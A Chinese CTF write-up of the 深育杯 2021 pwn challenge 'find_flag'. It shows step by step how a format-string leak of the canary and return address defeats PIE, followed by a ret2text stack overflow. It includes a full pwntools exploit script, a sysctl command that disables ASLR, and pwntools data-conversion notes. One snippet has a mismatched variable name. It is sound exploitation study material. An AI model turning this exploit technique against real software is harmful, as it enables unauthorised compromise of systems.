[深育杯 2021]find_flag

作者:Vesper Vei
5 分钟阅读

目录

  1. find_flag - 题目复盘
    1. 漏洞分析
    2. 解题步骤
      1. ① 静态分析
      2. ② 动态调试
      3. ③ 利用开发
      4. ④ 最终利用
    3. 工具使用
    4. 关键收获
      1. 技术洞察
      2. 踩坑记录
      3. 模式识别
    5. 关联题目
    6. 扩展思考

[!note] 关联入口:PWN题目索引

find_flag - 题目复盘

[!info] 题目信息

  • 比赛:深育杯
  • 题目:find_flag
  • 难度:★★★☆☆
  • 保护机制:PIE,canary,保护全开
  • 漏洞类型:格式化字符串 / 栈溢出
  • 利用技术:ret2text

前言: 这道题记录两点: 一是帮助自己搞清楚python的数据类型转换。因为有时候泄漏出来,还要转换正确的格式,而掌握python数据转换的方法,才能随机应变,遇事不问AI 二是第一次做PIE题,对于下断点的方法有所区别。

漏洞分析

本题格式化字符串漏洞造成任意地址读,导致我们可以利用 gets() 函数栈溢出到后门函数。后门函数要自己去扫两眼,实在不行 Ctrl + F12 看字符串通过交叉引用也能找到。

解题步骤

① 静态分析

image.png 这里都是显眼的漏洞,溢出到后门函数,所以利用的技术是 ret2text 但本题的考点就在于如何保障程序不崩溃的溢出和寻找到正确的溢出地点 (PIE保护) 。 既然思路清晰了,我们就去动调找偏移(offsite) 即可。

② 动态调试

format定位

关于断点问题: image.png 比较方便记忆的一种方法是,使用 $rebase(偏移) 。这个是pwndbg自带的高级功能,专门为PIE设置的变量。只要把IDA中的偏移地址传给变量就好。

start
b *$rebase(0x13BB)
c

image.png

%p..%p..%p..%p..%p..%p..%p..%p..

image.png 简单数一下在第6个位置出现的,所以 off_site = 6

canary泄漏

接下来去寻找canary在栈上的位置,emmm这种基本功就不带截图了,哪怕看IDA都知道

char format[32]; // [rsp+0h] [rbp-60h] BYREF
_BYTE buf_0x40[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 canary; // [rsp+58h] [rbp-8h]

60h8h=58h÷8h=1160h - 8h = 58h \div 8h = 11 呢么canary的偏移就在 11 + 6 = 17。 直接 strat 后试一下就可以了 —> %17$p 结果就是canary。

progrem_base泄漏

这里,我希望各位师傅有一个等同的概念:

我们现在的rip指针指向栈中,所以对于寻找程序基地址,泄漏的不应该是栈帧的地址,呢对于我们对抗PIE毫无用处。正确寻找的,应该是 .text 段的任意地址!想想一般哪里一定会有?call指令做了哪些事情? 相信这样的引导,可以顺理成章的想到,泄漏 save_rip 地址!

栈内容偏移 (相对于 RBP)说明是否对绕过 PIE 有用?
本地变量 buffer
Canaryrbp - 0x8你已经拿到了否 (只用于绕过 Canary)
Saved RBPrbp上一层函数的栈底 (这是你刚才想漏的)
Saved RIPrbp + 0x8返回地址是!(这就是目标)

对应的偏移很好算,就在canary向上两个偏移: %19$p

至此,本题就剩下最后一个问题需要解决了-----如何处理泄漏的数据?

数据处理

先看一下泄漏的格式是什么 image.png 这里对于接收字符的切割,我们可以用到 recvn(count) 函数,这个函数可以指定接收字符数的大小。 这里怕数错就用py的 len() 函数 image.png

io.recvn(19)
leak_text = io.recvn(14)
canary = io.recvn(18)

我这里 io = porcess('./程序')

重点!!! 做 Pwn 题时,数据的“形态变化”是最核心的基本功,我们通常会在三种形态之间反复横跳:

  1. Integer (整数):用来做加减法计算(比如 libc_base + system_offset)。
  2. Bytes (字节流):用来发送 Payload(比如 b'\xef\xbe\xad\xde')。
  3. String/Hex String (字符串):通常是程序输出的 Leak 内容(比如 b"0x7ffff...")。

我们这里接收的就是 Hex String(字符串) ,对应的,需要转换为 Bytes(字节流)。 不过我们有 p64() 函数,所以这里,我们转换为中间过渡变量 Integer (整数) 过程还是使用的 int(x,[base]) 函数,这里可选参数 base 就是指定进制的。

③ 利用开发

接下来就是完整的exp喽

from pwn import *
context.log_level = 'debug'
# io = remote('node4.anna.nssctf.cn',28117)
io = process("./find_flag")
print(f"PID = {io.pid}")
io.sendlineafter(b'What\'s your name? ',b'%19$p%17$p')
io.recvuntil(b', ')
save_rip = int(io.recvn(14),16)
canary = int(io.recvn(18),16)
print(save_rip)
print(canary)
progrem_base = save_rip - 0x146F
backdoor = progrem_base + 0x1229
ret = progrem_base + 0x13F8
payload = b'a' * 0x38 + p64(canary)
payload += b'b' *0x8 + p64(ret) +p64(backdoor)
io.recv()
io.sendline(payload)
io.interactive()

对了,这道题要栈对齐,注意 17行

④ 最终利用

image.png

工具使用

IDA,pwndbg

关键收获

数据类型的转换


技术洞察

这里补录一些关于PIE调试的扩展,还有数据转换的扩展,用于我本人后期忘了回看使用,和本题已经无关。

PIE

1. 使用 Pwndbg 的专属指令 (最推荐)
Terminal window
pwndbg> brva 0x1145

Pwndbg 会自动捕获程序的基地址,加上这个偏移,帮你下好断点。

brva,是其全称。

2. Pwntools 联动 GDB (写脚本时最常用)

在写 Exploit 脚本时,我们通常使用 pwntoolsgdb.attach 来调试。Pwntools 非常智能,能够识别 PIE。 你可以直接在 Python 脚本中这样写:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h'] # 或者你的终端设置
p = process('./pwn_binary')
# 方法 A: 使用 gdbscript
# $rebase 是 pwndbg/gef 识别的宏,代表当前基地址
gdb.attach(p, gdbscript='''
b *$rebase(0x1234)
c
''')
# 方法 B: 直接用 pwntools 的 ELF 对象 (更优雅)
elf = ELF('./pwn_binary')
# context.binary = elf
# 这种方式结合 gdb.attach 需要配合具体的地址计算,通常不如方法 A 在动调时直观
# 但你可以先算出地址再 attach (如果 PIE 没开或者是用 core dump)

注意: 如果你在 process() 之后立刻 gdb.attach,有时候基地址还没加载。通常建议先 p.recvuntil(...) 让程序跑一点点再 attach,或者在 gdbscript 里先 start

3. 系统级关闭 ASLR (最简单粗暴)

如果你只是想在本地调试分析逻辑,不想处理变来变去的地址,可以直接在系统层面关闭 ASLR。 虽然 PIE 是编译选项,但地址随机化依赖于内核的 ASLR。如果关闭 ASLR,PIE 程序通常会加载到一个固定的基地址(通常是 0x555555554000 这种)。 在 Linux 终端执行:

Terminal window
sudo sysctl -w kernel.randomize_va_space=0
4. 这里的 offset 怎么看?

在 IDA Pro 中,确保你开启了 “Line Prefixes” (Options -> General -> Disassembly -> Line prefixes)。 如果是一个 PIE 程序,IDA 显示的地址通常是 0x1234 这种很小的数(相对于基址 0 的偏移)。如果 IDA 显示的是 0x401234 这种大数,你可以通过 Edit -> Segments -> Rebase program 将基地址设为 0,这样看到的地址就是纯偏移量(Offset),直接配合 brva 使用非常舒服。

数据转换

1. 核心必杀技:

打包与解包 (Packing & Unpacking)这是 Pwn 中最最常用的功能,没有之一。它解决了“如何把一个整数变成内存中的二进制形式”的问题。

from pwn import *
# 比如 system 的地址是 0xdeadbeef
payload = p32(0xdeadbeef)
# 结果: b'\xef\xbe\xad\xde' (自动化处理了字节序)
# 64位同理
payload = p64(0x7ffff7a0d000)
# 假设你收到了 8 字节的 puts 真实地址
leak_data = p.recv(8)
libc_base = u64(leak_data) - 0x080a30
2. 处理泄漏数据的神器:

Padding 与对其在 64 位程序中,内存地址通常只有 6 个字节有效(例如 0x00007f...),高位是 00。如果你直接 recv(6) 然后 u64(),Python 会报错,因为 u64 必须吃满 8 个字节。

# 场景1:修复 Leak
# 收到 b'\x10\x20\x30\x40\x50\x60' (6字节)
leak = p.recv(6)
# 补齐到 8 字节,用 \x00 填充,然后再转整数
addr = u64(leak.ljust(8, b'\x00'))
# 场景2:栈溢出填充
# 填充 0x20 个 'A'
padding = b'A' * 0x20
# 或者用 ljust (虽然直接乘更方便)
padding = b'payload_start'.ljust(0x20, b'\x00')

这里其实常用在 ret2libc 技术中,用于保存泄漏的 libc地址。

leaked_puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(f"linked_puts: {hex(linked_puts)}")
3. 十六进制与字节流

二者互转有时候程序输出的不是原始字节,而是通过 printf("%p") 打印出来的 ASCII 字符串(如 b"0x7ff...")。

p.recvuntil(b"address: ")
leak_str = p.recvline().strip() # 比如收到 b'0x7ff...'
addr = int(leak_str, 16)
from pwn import *
data = unhex("48656c6c6f") # 变成 b'Hello'

4. 字符串搜索与定位

在写自动化脚本时,你需要精确定位泄漏地址的位置。

data = p.recv()
# 假设泄漏的地址前面有 "Leaked: "
start_index = data.find(b"Leaked: ") + len(b"Leaked: ")
leak = data[start_index : start_index + 6]
# 假设输出是: "Welcome, user: [CanaryBytes] !"
p.recvuntil(b"user: ")
canary = u64(p.recv(8))

5. 终极懒人工具:flat()

如果你觉得手动拼接 Payload 很丑:

payload = b'A'*40 + p64(pop_rdi) + p64(bin_sh) + p64(system)

你可以用 Pwntools 的 flat

payload = flat([
b'A' * 40,
pop_rdi, # 自动识别为整数并 p64
bin_sh,
system
])

总结
场景原始数据 (Input)目标数据 (Output)推荐函数
构造 Payload0xdeadbeef (整数)b'\xef\xbe\xad\xde' (字节)p32() / p64()
处理内存泄漏b'\xef\xbe...' (Raw 字节)0xdeadbeef (整数)u32() / u64()
处理 %p 输出b"0x7fff..." (文本)0x7fff... (整数)int(data, 16)
修复6字节地址b'\x01...\x06' (6字节)0x000001... (整数)u64(data.ljust(8, b'\x00'))
查找特定位置大段垃圾数据关键数据的索引data.find(b"key")

踩坑记录

又是要栈对齐的题

模式识别

开启PIE,canary,且有明显的栈溢出特点。此时就要想,如何任意地址读数据,为我们的栈溢出构造条件

关联题目

暂无

扩展思考


创建时间:2025-12-15 18:12


关系图谱

Loading graph...